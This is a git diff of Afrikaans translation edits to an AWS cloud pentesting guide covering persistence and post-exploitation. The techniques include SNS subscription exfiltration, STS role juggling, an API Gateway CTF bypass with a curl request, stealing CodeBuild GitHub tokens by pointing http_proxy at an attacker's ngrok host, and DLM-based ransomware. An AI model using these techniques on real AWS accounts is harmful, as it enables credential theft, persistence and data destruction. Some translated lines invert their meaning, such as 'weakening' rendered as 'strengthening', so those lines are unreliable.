diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index e9bcdcddc..4f8a5b2f1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SNS Persistensie
+# AWS - SNS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Vir meer inligting, kyk:
../aws-services/aws-sns-enum.md
{{#endref}}
-### Persistensie
+### Volharding
Wanneer jy 'n **SNS onderwerp** skep, moet jy met 'n IAM-beleid **aangee wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
Die volgende beleid gee almal in AWS toegang om te lees en te skryf in die SNS onderwerp genaamd **`MySNS.fifo`**:
@@ -63,11 +63,11 @@ Die volgende beleid gee almal in AWS toegang om te lees en te skryf in die SNS o
]
}
```
-### Skep Tekeninge
+### Skep Intekenaars
-Om voort te gaan met die eksfiltrasie van al die boodskappe van al die onderwerpe, kan die aanvaller **tekeninge vir al die onderwerpe skep**.
+Om voort te gaan met die eksfiltrasie van al die boodskappe van al die onderwerpe, kan die aanvaller **intekenaars vir al die onderwerpe skep**.
-Let daarop dat as die **onderwerp van tipe FIFO** is, slegs tekeninge wat die protokol **SQS** gebruik, gebruik kan word.
+Let daarop dat as die **onderwerp van tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word.
```bash
aws sns subscribe --region \
--protocol http \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index a09336ba7..86a18c4e3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SQS Persistensie
+# AWS - SQS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
### Gebruik van hulpbronbeleid
-In SQS moet jy met 'n IAM-beleid **aangee wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
+In SQS moet jy met 'n IAM-beleid **aandui wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd **MyTestQueue**:
```json
{
@@ -32,6 +32,6 @@ Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd *
}
```
> [!NOTE]
-> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die waglyn geplaas word (jy sal dit op een of ander manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die tou geplaas word (jy sal dit op 'n manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index bb544ad9a..b37499c31 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,4 +1,4 @@
-# AWS - STS Persistensie
+# AWS - STS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Vir meer inligting, toegang:
### Neem rol token
-Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om persistensie te handhaaf.
+Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om volharding te handhaaf.
aws sts get-session-token --duration-seconds 129600
@@ -21,14 +21,14 @@ aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
-# Hardeware toestelnaam is gewoonlik die nommer van die agterkant van die toestel, soos GAHT12345678
-# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/gebruikersnaam
-# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/gebruikersnaam
+# Hardeware toestelnaam is gewoonlik die nommer aan die agterkant van die toestel, soos GAHT12345678
+# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/username
+# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/username
### Rolketting Juggling
-[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wat dikwels gebruik word om stealth persistensie te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar wederkerig aan te neem, laat hierdie opstelling die perpetuele vernuwing van geloofsbriewe toe.
+[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), dikwels gebruik om stealth volharding te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die perpetuele vernuwing van geloofsbriewe toe.
Jy kan hierdie [**instrument**](https://github.com/hotnops/AWSRoleJuggler/) gebruik om die rolketting aan die gang te hou:
```bash
@@ -40,11 +40,11 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
-> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip van daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
+> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip uit daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
-Code om Rol Juggling vanaf PowerShell uit te voer
+Kode om Rol Juggling uit PowerShell uit te voer
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 941a860e3..5aeb94b0d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1 +1 @@
-# AWS - Post Exploitation
+# AWS - Post Exploitatie
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 1566692d8..0658577ca 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -10,25 +10,25 @@ Vir meer inligting, kyk:
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Toegang tot nie-blootgestelde API's
+### Toegang tot nie-blootgestelde APIs
Jy kan 'n eindpunt skep in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) met die diens `com.amazonaws.us-east-1.execute-api`, die eindpunt blootstel in 'n netwerk waar jy toegang het (potensieel via 'n EC2 masjien) en 'n sekuriteitsgroep toewys wat alle verbindings toelaat.\
Dan, vanaf die EC2 masjien sal jy in staat wees om toegang tot die eindpunt te verkry en dus die gateway API aan te roep wat voorheen nie blootgestel was nie.
-### Omseil Versoek liggaam deurlaat
+### Oorbrug aanvraagliggaam pas deur
Hierdie tegniek is gevind in [**hierdie CTF skrywe**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die versoek nagegaan word, sal die versoek na die agterkant deurgee sonder enige transformasie.
+Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die aanvraag nagegaan word, sal die aanvraag na die agterkant deurgee sonder enige transformasie.
-Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n versoek gestuur is met `Content-Type: application/json`:
+Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n aanvraag gestuur is met `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
+egter, om 'n versoek te stuur met **`Content-type: text/json`** sou daardie filter voorkom.
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
+Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag te stuur sonder enige beperking deur 'n POST-versoek met die navraag in die liggaam te stuur en die koptekst `X-HTTP-Method-Override: GET` te gebruik:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
@@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
In die **Enumerasie** afdeling kan jy sien hoe om die **gebruik plan** van die sleutels te **verkry**. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**.
-Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genaamd **`x-api-key`**.
+Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genoem **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-'n Aanvaller met die toestemmings `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**.
+'n Aanvaller met die regte `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskepping van API-verkeer.
+**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskep van API-verkeer.
> [!NOTE]
> Nodig om te toets
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potensiële Impak**: Verswakking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel.
+**Potensiële Impak**: Versterking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel.
> [!NOTE]
> Nodig om te toets
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index cc5d53697..19eede883 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
### Man-in-the-Middle
-Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (injecting 'n kwaadwillige JS-skrip).
+Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (deur 'n kwaadwillige JS-skrip in te voeg).
#### scenario 1: MitM waar CloudFront geconfigureer is om toegang te verkry tot 'n HTML van 'n emmer
@@ -20,12 +20,12 @@ Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-
- **Koppel** dit aan die CloudFront verspreiding.
- Stel die **gebeurtenistipe op "Viewer Response"**.
-Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS injecteer.
+Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS in voeg.
#### scenario 2: MitM waar CloudFront reeds 'n lambda-funksie gebruik
- **Wysig die kode** van die lambda-funksie om sensitiewe inligting te steel
-Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan.
+Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) kyk.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 1c86452de..5c7b49d17 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,8 +12,8 @@ Vir meer inligting, kyk:
### Kontroleer Geheimen
-As geloofsbriewe in Codebuild gestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van persoonlike tokens, wagwoorde of OAuth-token toegang, **sal hierdie geloofsbriewe as geheimen in die geheimbestuurder gestoor word**.\
-Daarom, as jy toegang het om die geheimbestuurder te lees, sal jy in staat wees om hierdie geheimen te verkry en na die gekonnekteerde platform te pivot.
+As geloofsbriewe in Codebuild gestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van persoonlike tokens, wagwoorde of OAuth-token toegang, **sal hierdie geloofsbriewe as geheime in die geheime bestuurder gestoor word**.\
+Daarom, as jy toegang het om die geheime bestuurder te lees, sal jy in staat wees om hierdie geheime te verkry en na die gekonnekteerde platform te pivot.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -27,15 +27,15 @@ Om **CodeBuild** te konfigureer, sal dit **toegang tot die kode-repo** benodig w
Die **CodeBuild-projek moet toegang hê** tot die geconfigureerde bronverskaffer, hetsy via **IAM-rol** of met 'n github/bitbucket **token of OAuth-toegang**.
-'n Aanvaller met **verhoogde regte oor 'n CodeBuild** kan hierdie geconfigureerde toegang misbruik om die kode van die geconfigureerde repo en ander waar die ingestelde geloofsbriewe toegang het, te lek.\
-Om dit te doen, sal 'n aanvaller net die **repo-URL na elke repo wat die konfigurasiegeloofsbriewe toegang het, moet verander** (let daarop dat die aws-webwerf al hulle vir jou sal lys):
+'n Aanvaller met **verhoogde regte in 'n CodeBuild** kan hierdie geconfigureerde toegang misbruik om die kode van die geconfigureerde repo en ander waar die gestelde geloofsbriewe toegang het, te lek.\
+Om dit te doen, sal 'n aanvaller net die **repository-URL na elke repo wat die konfigurasiegeloofsbriewe toegang het, moet verander** (let daarop dat die aws-webwerf al hulle vir jou sal lys):
En **verander die Buildspec-opdragte om elke repo te exfiltreer**.
> [!WARNING]
-> egter, hierdie **taak is herhalend en vervelig** en as 'n github-token met **skryfregte** geconfigureer is, sal 'n aanvaller **nie in staat wees om (mis)bruik te maak van daardie regte** nie, aangesien hy nie toegang het tot die token.\
+> Hierdie **taak is herhalend en vervelig** en as 'n github-token met **skryfregte** geconfigureer is, sal 'n aanvaller **nie in staat wees om (mis)bruik te maak van daardie regte** nie, aangesien hy nie toegang tot die token het.\
> Of het hy? Kyk na die volgende afdeling
### Lek van Toegangstokens van AWS CodeBuild
@@ -58,7 +58,7 @@ aws codebuild delete-project --name
### `codebuild:TagResource` , `codebuild:UntagResource`
-'n Aanvaller kan etikette byvoeg, wysig of verwyder van CodeBuild hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangbeheerbeleide gebaseer op etikette ontwrig.
+'n Aanvaller kan etikette byvoeg, wysig of verwyder van CodeBuild-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangbeheerbeleide op grond van etikette ontwrig.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
@@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn --tag-keys
```sql
aws codebuild delete-source-credentials --arn
```
-**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die betrokke repo staatmaak as gevolg van die verwydering van bronbewyse.
+**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die geraakte repository staatmaak as gevolg van die verwydering van bronbewyse.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 4a5619724..ceb30fd90 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -4,13 +4,13 @@
## Herwin Github/Bitbucket Geconfigureerde Tokens
-Eerst, kyk of daar enige bronakkrediteure geconfigureer is wat jy kan lek:
+Eerst, kyk of daar enige bronbewyse geconfigureer is wat jy kan lek:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
-As jy vind dat outentisering na byvoorbeeld Github in die rekening ingestel is, kan jy **exfiltrate** daardie **toegang** (**GH token of OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die bou van die projek te loop.
+As jy vind dat outentisering na byvoorbeeld Github in die rekening gestel is, kan jy **exfiltrate** daardie **toegang** (**GH token of OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die bou van die projek te loop.
Vir hierdie doel kan jy **'n nuwe Codebuild projek skep** of die **omgewing** van 'n bestaande een verander om die **Docker image** in te stel.
@@ -18,9 +18,9 @@ Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mi
1. **Skep & Laai jou eie Docker MitM image op**
- Volg die instruksies van die repo om jou proxy IP adres in te stel en jou SSL sertifikaat in te stel en **bou die docker image**.
-- **MOENIE `http_proxy` INSTEL NIE** om nie versoeke na die metadata eindpunt te onderskep nie.
+- **MOET NIE `http_proxy` INSTEL NIE** om nie versoeke na die metadata eindpunt te onderskep nie.
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou gasheer in te stel.
-- Sodra jy die Docker image gebou het, **laai dit op na 'n openbare repo** (Dockerhub, ECR...)
+- Sodra jy die Docker image gebou het, **laai dit op na 'n publieke repo** (Dockerhub, ECR...)
2. **Stel die omgewing in**
- Skep 'n **nuwe Codebuild projek** of **wysig** die omgewing van 'n bestaande een.
- Stel die projek in om die **voorheen gegenereerde Docker image** te gebruik.
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- Dan, voer die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort aangedui deur die proxy veranderlikes (http_proxy en https_proxy)
+- Dan, voer die basiese voorbeeld uit [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in die poort aangedui deur die proxy veranderlikes (http_proxy en https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -132,20 +132,20 @@ mitm.run()
-### ~~Via HTTP-protokol~~
+### ~~Deur HTTP-protokol~~
> [!TIP] > **Hierdie kwesbaarheid is op 'n stadium in die week van die 20ste Februarie 2023 deur AWS reggestel (ek dink op Vrydag). So 'n aanvaller kan dit nie meer misbruik nie :)**
'n Aanvaller met **verhoogde regte in 'n CodeBuild kan die Github/Bitbucket-token** wat geconfigureer is, lek of as regte via OAuth geconfigureer is, die **tydelike OAuth-token wat gebruik word om toegang tot die kode te verkry**.
-- 'n Aanvaller kan die omgewingsveranderlikes **http_proxy** en **https_proxy** aan die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
+- 'n Aanvaller kan die omgewing veranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
- Verander dan die URL van die github-repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
-- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort wat deur die proxy-veranderlikes (http_proxy en https_proxy) aangedui word.
+- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort wat deur die proxy-variabeles (http_proxy en https_proxy) aangedui word.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -162,11 +162,11 @@ mitm.run()
```sh
aws codebuild start-build --project-name
```
-- Uiteindelik sal die **credentials** in **duidelike teks** (base64) na die mitm-poort gestuur word:
+- Uiteindelik sal die **akkrediteerings** in **duidelike teks** (base64) na die mitm-poort gestuur word:
> [!WARNING]
-> Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die regte wat dit het op te lys en (mis)bruik makliker as om die CodeBuild-diens direk te gebruik.
+> Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die voorregte wat hy het op te lys en (mis)bruik makliker as om die CodeBuild-diens direk te gebruik.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index 374c51179..049cf0c4e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -10,7 +10,7 @@
### Aktiveer / Deaktiveer Beheer
-Om 'n rekening verder te benut, mag jy nodig hê om Control Tower-beheer te deaktiveer/aktiver:
+Om 'n rekening verder te benut, mag jy nodig hê om Control Tower beheer te deaktiveer/aktiver.
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 199bc31e4..ca67db5b4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,13 +6,13 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, die snapshots te enkripteer met 'n KMS-sleutel van 'n ander AWS-rekening en die geënkripteerde snapshots na 'n ander rekening oor te dra. Alternatiewelik kan hulle snapshots sonder enkripsie na 'n rekening wat hulle bestuur oorplaas en dit dan daar enkripteer. Alhoewel dit nie reguit is om bestaande EBS-volumes of snapshots direk te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep.
+'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, wat die snapshots met 'n KMS-sleutel van 'n ander AWS-rekening en die versleutelde snapshots na 'n ander rekening oordra. Alternatiewelik kan hulle snapshots sonder versleuteling na 'n rekening wat hulle bestuur oordra en dit dan daar versleut. Alhoewel dit nie regstreeks moontlik is om bestaande EBS-volumes of snapshots te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep.
-Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instance ID, volume ID, enkripsiestatus, aanhegselsstatus, en volumetipe.
+Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instansie-ID, volume-ID, versleutelingstatus, aanhegselsstatus en volumetipe.
`aws ec2 describe-volumes`
-Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir enkripsie, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word.
+Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir versleuteling, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index ac5655aa9..5484e0e13 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
-**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te verkry:
+**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
